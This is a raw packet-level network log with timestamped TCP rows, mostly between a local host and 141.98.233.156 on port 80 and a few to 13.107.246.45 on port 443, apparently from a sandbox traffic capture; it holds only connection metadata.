Oct 6, 2024 22:33:14.235238075 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.235253096 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.235266924 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.235276937 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.235282898 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.235297918 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.235305071 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.235318899 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.235341072 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.235352039 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.235358000 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.235371113 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.235410929 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.235410929 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.235429049 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.235443115 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.235461950 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.235469103 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.235477924 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.235493898 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.235501051 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.235515118 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.235527039 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.235539913 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.235548973 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.235562086 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.235572100 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.235585928 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.235596895 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.235610008 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.235619068 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.235631943 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.235641956 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.235655069 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.235665083 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.235677958 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.235687971 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.235702038 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.235712051 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.235734940 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.235843897 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.235857964 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.235883951 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.235898018 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.235934019 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.235946894 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.235960007 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.235972881 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.235985041 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.235996008 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.236008883 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.236016989 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.236042023 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.236098051 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.236114025 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.236126900 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.236143112 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.236152887 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.236160994 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.236171007 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.236192942 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.236201048 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.236217022 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.236232042 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.236241102 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.236251116 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.236263990 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.236277103 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.236288071 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.236298084 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.236310959 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.236320972 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.236332893 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.236341953 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.236355066 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.236365080 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.236378908 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.236387968 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.236402035 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.236412048 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.236424923 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.236434937 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.236449957 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.236458063 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.236470938 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.236480951 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.236495018 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.236504078 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.236517906 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.236526966 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.236540079 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.236550093 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.236562014 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.236572027 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.236596107 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.236948013 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.236963034 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.236978054 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.236990929 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.236999989 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.237015009 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.237026930 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.237040997 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.237056017 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.237070084 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.237070084 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.237092018 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.237098932 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.237111092 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.237127066 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.237143040 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.237150908 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.237163067 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.237221003 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.237235069 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.237251997 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.237260103 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.237271070 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.237282991 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.237294912 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.237308025 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.237317085 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.237332106 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.237340927 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.237354040 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.237364054 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.237385988 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.237543106 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.237556934 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.237572908 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.237590075 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.237596989 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.237607002 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.237616062 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.237628937 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.237638950 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.237653017 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.237662077 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.237675905 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.237684965 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.237698078 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.237709045 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.237721920 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.237731934 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.237745047 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.237754107 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.237766981 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.237782001 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.237799883 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.237807989 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.237833023 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.247733116 CEST	443	49781	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:14.248236895 CEST	49781	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:14.248269081 CEST	443	49781	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:14.248785019 CEST	49781	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:14.248790026 CEST	443	49781	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:14.297861099 CEST	443	49782	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:14.298352957 CEST	49782	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:14.298363924 CEST	443	49782	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:14.298769951 CEST	49782	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:14.298774958 CEST	443	49782	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:14.319783926 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.319813967 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.319828987 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.319891930 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.319911003 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.320017099 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.320033073 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.320048094 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.320061922 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.320071936 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.320087910 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.320100069 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.320132971 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.320153952 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.320168018 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.320187092 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.320194006 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.320203066 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.320216894 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.320225000 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.320240974 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.320255041 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.320265055 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.320286989 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.320503950 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.320518970 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.320533037 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.320542097 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.320554018 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.320564032 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.320576906 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.320590019 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.320597887 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.320611000 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.320625067 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.320635080 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.320646048 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.320658922 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.320667982 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.320679903 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.320692062 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.320703983 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.320714951 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.320739031 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.320854902 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.320867062 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.320882082 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.320893049 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.320904970 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.320919037 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.320925951 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.320938110 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.320950985 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.320962906 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.320972919 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.320986986 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.320997953 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.321010113 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.321018934 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.321032047 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.321046114 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.321058035 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.321068048 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.321090937 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.321206093 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.321223021 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.321243048 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.321249962 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.321259022 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.321274042 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.321280003 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.321295023 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.321309090 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.321316957 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.321331978 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.321338892 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.321347952 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.321372032 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.321590900 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.321605921 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.321621895 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.321631908 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.321640968 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.321651936 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.321662903 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.321677923 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.321695089 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.321702003 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.321712017 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.321724892 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.321738005 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.321748018 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.321758986 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.321772099 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.321780920 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.321793079 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.321804047 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.321816921 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.321825981 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.321839094 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.321850061 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.321862936 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.321871996 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.321885109 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.321899891 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.321914911 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.321924925 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.321938038 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.321962118 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.322208881 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.322222948 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.322237015 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.322247028 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.322259903 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.322268009 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.322278023 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.322292089 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.322302103 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.322314978 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.322321892 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.322335005 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.322345018 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.322366953 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.322376966 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.322391033 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.322410107 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.322417974 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.322429895 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.322443962 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.322451115 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.322463036 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.322475910 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.322487116 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.322504997 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.322516918 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.322525978 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.322539091 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.322559118 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.322572947 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.322587013 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.322597027 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.322607994 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.322622061 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.322632074 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.322644949 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.322655916 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.322669029 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.322679043 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.322690010 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.322700977 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.322714090 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.322724104 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.322748899 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.323077917 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.323123932 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.323291063 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.323306084 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.323321104 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.323334932 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.323349953 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.323357105 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.323365927 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.323381901 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.323399067 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.323424101 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.323431015 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.323446035 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.323461056 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.323472023 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.323479891 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.323493004 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.323503017 CEST	49741	80	192.168.2.4	141.98.233.156
